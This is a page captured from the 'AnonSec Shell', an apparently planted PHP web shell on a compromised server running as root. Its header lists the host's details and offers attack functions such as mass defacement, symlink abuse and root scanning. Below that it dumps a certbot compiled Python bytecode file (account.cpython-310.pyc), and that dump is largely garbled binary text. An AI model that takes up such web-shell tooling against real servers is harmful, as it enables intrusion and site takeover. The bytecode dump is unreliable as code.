AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/certbot/_internal/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/certbot/_internal/__pycache__/account.cpython-310.pyc
o

6��a#;�@s:dZddlZddlZddlZddlZddlZddlZddlmZddlm	Z	ddlm
Z
ddlmZddl
ZddlZddlZddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZe� e!�Z"Gdd�d�Z#Gdd�dej$�Z%Gdd�dej&�Z'Gdd�dej$�Z(dS)z!Creates ACME accounts for server.�N)�cast)�Any)�Mapping)�
serialization)�fields)�messages)�
ClientBase)�errors)�
interfaces)�util)�	constants)�
filesystem)�osc@sHeZdZdZGdd�dej�Zd
dd�Zedd��Z	d	d
�Z
dd�ZdS)�Accountz�ACME protocol registration.

    :ivar .RegistrationResource regr: Registration Resource
    :ivar .JWK key: Authorized Account Key
    :ivar .Meta: Account metadata
    :ivar str id: Globally unique account identifier.

    c@s2eZdZdZe�d�Ze�d�Z	ejddd�Z
dS)zAccount.Metaa�Account metadata

        :ivar datetime.datetime creation_dt: Creation date and time (UTC).
        :ivar str creation_host: FQDN of host, where account has been created.
        :ivar str register_to_eff: If not None, Certbot will register the provided
                                        email during the account registration.

        .. note:: ``creation_dt`` and ``creation_host`` are useful in
            cross-machine migration scenarios.

        �creation_dt�
creation_host�register_to_effT)�	omitemptyN)�__name__�
__module__�__qualname__�__doc__�acme_fields�RFC3339Fieldr�jose�Fieldrr�rr�;/usr/lib/python3/dist-packages/certbot/_internal/account.py�Meta(s


rNc
Cs�||_||_|dur|jtjjtjd�jdd�t�	�dd�n||_
zt��}Wnt
yAtjd	ittttfddi���}Ynw|�|jj��jtjjtjjd��|��|_dS)
N)�tzr)�microsecond)rrr�md5�usedforsecurityF)�encoding�format)r!)�key�regrr�datetime�now�pytz�UTC�replace�socket�getfqdn�meta�hashlibr!�
ValueError�newrr�strr�update�
public_key�public_bytesr�Encoding�PEM�PublicFormat�SubjectPublicKeyInfo�	hexdigest�id)�selfr&r%r.�hasherrrr�__init__8s(���&��zAccount.__init__cCs&d�t�|jj�|jj|jdd��S)z3Short account identification string, useful for UI.z
{1}@{0} ({2})N�)r$�	pyrfc3339�generater.rrr;�r<rrr�slugVs
��zAccount.slugcCsd�|jj|j|j|j�S)Nz<{0}({1}, {2}, {3})>)r$�	__class__rr&r;r.rBrrr�__repr__\s�zAccount.__repr__cCs0t||j�o|j|jko|j|jko|j|jkS�N)�
isinstancerDr%r&r.)r<�otherrrr�__eq__`s
�
�
�zAccount.__eq__rF)rrrrr�JSONObjectWithFieldsrr>�propertyrCrErIrrrrrs	

rc@s2eZdZdZddd�Zdd�Zdd�Zd	d
�ZdS)�AccountMemoryStoragezIn-memory account storage.NcCs|dur	||_dSi|_dSrF)�accounts)r<�initial_accountsrrrr>iszAccountMemoryStorage.__init__cCst|j���SrF)�listrM�valuesrBrrr�find_alll�zAccountMemoryStorage.find_allcCs*|j|jvr
t�d|j�||j|j<dS)NzOverwriting account: %s)r;rM�logger�debug)r<�account�clientrrr�saveoszAccountMemoryStorage.savecCs&z|j|WStyt�|��wrF)rM�KeyErrorr	�AccountNotFound�r<�
account_idrrr�loadts

�zAccountMemoryStorage.loadrF)rrrrr>rQrWr\rrrrrLfs
rLc@seZdZdZe�d�ZdS)�$RegistrationResourceWithNewAuthzrURIafA backwards-compatible RegistrationResource with a new-authz URI.

       Hack: Certbot versions pre-0.11.1 expect to load
       new_authzr_uri as part of the account. Because people
       sometimes switch between old and new versions, we will
       continue to write out this field for some time so older
       clients don't crash in that scenario.
    �new_authzr_uriN)rrrrrrr^rrrrr]zsr]c@s$eZdZdZdd�Zdd�Zdd�Zedd	��Zed
d��Z	edd
��Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdededdfdd�Zdededdfd d!�Zdeddfd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zdedefd,d-�Zded.eddfd/d0�Zded1ed.eddfd2d3�Zd4d5�ZdS)6�AccountFileStoragezjAccounts file storage.

    :ivar certbot.configuration.NamespaceConfig config: Client configuration

    cCs||_t�|jd|jj�dS�Ni�)�configr�make_or_verify_dir�accounts_dir�strict_permissions)r<rarrrr>�szAccountFileStorage.__init__cC�|�||jj�SrF)�!_account_dir_path_for_server_pathra�server_pathrZrrr�_account_dir_path��z$AccountFileStorage._account_dir_pathcCs|j�|�}tj�||�SrF)ra�accounts_dir_for_server_pathr�path�join)r<r[rgrcrrrrf�sz4AccountFileStorage._account_dir_path_for_server_pathcC�tj�|d�S)Nz	regr.json�rrkrl��cls�account_dir_pathrrr�
_regr_path��zAccountFileStorage._regr_pathcCrm)Nzprivate_key.jsonrnrorrr�	_key_path�rszAccountFileStorage._key_pathcCrm)Nz	meta.jsonrnrorrr�_metadata_path�rsz!AccountFileStorage._metadata_pathc	Cs�|j�|�}zt�|�}WntygYSwg}|D]}z|�|�||��Wqtjy;t	j
ddd�Yqw|se|tjvretj|}|�
|�}|rcz|�||�WntybgYSw|}|S)NzAccount loading problemT)�exc_info)rarjr�listdir�OSError�append�_load_for_server_pathr	�AccountStorageErrorrSrTr�LE_REUSE_SERVERS�_find_all_for_server_path�_symlink_to_accounts_dir)r<rgrc�
candidatesrMr[�prev_server_path�
prev_accountsrrrr}�s0��

�z,AccountFileStorage._find_all_for_server_pathcCs|�|jj�SrF)r}rargrBrrrrQ�rRzAccountFileStorage.find_allcCs(|�||�}|�||�}t�||�dSrF)rfr�symlink)r<r�rgr[�prev_account_dir�new_account_dirrrr�_symlink_to_account_dir�sz*AccountFileStorage._symlink_to_account_dircCsJ|j�|�}tj�|�rt�|�nt�|�|j�|�}t�||�dSrF)rarjrrk�islink�unlink�rmdirr�)r<r�rgrcr�rrrr~�s
z+AccountFileStorage._symlink_to_accounts_dirc
Csl|�||�}tj�|�s?|tjvr8tj|}|�||�}|j�|�}t�	|�r0|�
|||�|S|�||�|St�
d|��z_t|�|���}tj�|���}Wd�n1sZwYt|�|���}	tj�|	���}
Wd�n1sywYt|�|���}tj�|���}Wd�n1s�wYWnty�}
zt�|
��d}
~
wwt||
|�S)N�Account at %s does not exist)rfrrk�isdirrr|rzrarjrwr�r~r	rY�openrrr�RegistrationResource�
json_loads�readrtr�JWKrurr�IOErrorr{)r<r[rgrqr��prev_loaded_accountrc�	regr_filer&�key_filer%�
metadata_filer.�errorrrrrz�s<


������
��z(AccountFileStorage._load_for_server_pathcCrerF)rzrargrZrrrr\�rizAccountFileStorage.loadrUrV�returnNc
CsZz|�|�}|�||�|�||�|�|||�WdSty,}zt�|��d}~ww)z�Create a new account.

        :param Account account: account to create
        :param ClientBase client: ACME client associated to the account

        N)�_prepare�_create�_update_meta�_update_regrr�r	r{�r<rUrV�dir_pathr�rrrrW�s

��zAccountFileStorage.savec
CsBz|�|�}|�|||�WdSty }zt�|��d}~ww)z�Update the registration resource.

        :param Account account: account to update
        :param ClientBase client: ACME client associated to the account

        N)r�r�r�r	r{r�rrr�update_regr�s

��zAccountFileStorage.update_regrc
Cs@z|�|�}|�||�WdSty}zt�|��d}~ww)zVUpdate the meta resource.

        :param Account account: account to update

        N)r�r�r�r	r{)r<rUr�r�rrr�update_meta
s

��zAccountFileStorage.update_metacCsX|�|�}tj�|�st�d|��|�||jj�t�	|jj
�s*|�|jj�dSdS)znDelete registration info from disk

        :param account_id: id of account which should be deleted

        r�N)rhrrkr�r	rY�#_delete_account_dir_for_server_pathrargrwrc�$_delete_accounts_dir_for_server_path)r<r[rqrrr�deletes
��zAccountFileStorage.deletecCs(t�|j|�}|�||�}t�|�dSrF)�	functools�partialrf�!_delete_links_and_find_target_dir�shutil�rmtree)r<r[rg�	link_func�nonsymlinked_dirrrrr�'sz6AccountFileStorage._delete_account_dir_for_server_pathcCs"|jj}|�||�}t�|�dSrF)rarjr�rr�)r<rgr�r�rrrr�,sz7AccountFileStorage._delete_accounts_dir_for_server_pathcCs�||�}i}tj��D]\}}|||<qd}|r;d}||vr9||}||�}	tj�|	�r9t�|	�|kr9d}|}|	}|stj�|�rSt�|�}
t�|�|
}tj�|�sA|S)a/Delete symlinks and return the nonsymlinked directory path.

        :param str server_path: file path based on server
        :param callable link_func: callable that returns possible links
            given a server_path

        :returns: the final, non-symlinked target
        :rtype: str

        TF)	rr|�itemsrrkr�r
�readlinkr�)r<rgr�r��reused_servers�k�v�possible_next_link�next_server_path�
next_dir_path�targetrrrr�1s*
�

�z4AccountFileStorage._delete_links_and_find_target_dircCs"|�|j�}t�|d|jj�|Sr`)rhr;rrbrard)r<rUrqrrrr�XszAccountFileStorage._preparer�cCsLtj|�|�ddd��}|�|j���Wd�dS1swYdS)N�w�)�chmod)r�	safe_openrt�writer%�
json_dumps)r<rUr�r�rrrr�]s"�zAccountFileStorage._create�acmecCs|t|�|�d��,}|j}t|jd�rt|jji|jd�}ntj	i|jd�}|�
|���Wd�dS1s7wYdS)Nr�z	new-authz)r^�body�uri)r�r�)r�rrr&�hasattr�	directoryr]�	new_authzr�rr�r�r�)r<rUr�r�r�r&rrrr�as��"�zAccountFileStorage._update_regrcCsFt|�|�d��}|�|j���Wd�dS1swYdS)Nr�)r�rur�r.r�)r<rUr�r�rrrr�ss"�zAccountFileStorage._update_meta)rrrrr>rhrf�classmethodrrrtrur}rQr�r~rzr\rrrWr�r�r�r�r�r�r2r�r�r�r�rrrrr_�s8


	
'r_))rr'r�r/�loggingr�r,�typingrrr�cryptography.hazmat.primitivesr�josepyrr@r)r�rrr�acme.clientr�certbotr	r
r�certbot._internalr�certbot.compatr
r�	getLoggerrrSr�AccountStoragerLr�r]r_rrrr�<module>s8
H

Anon7 - 2022
AnonSec Team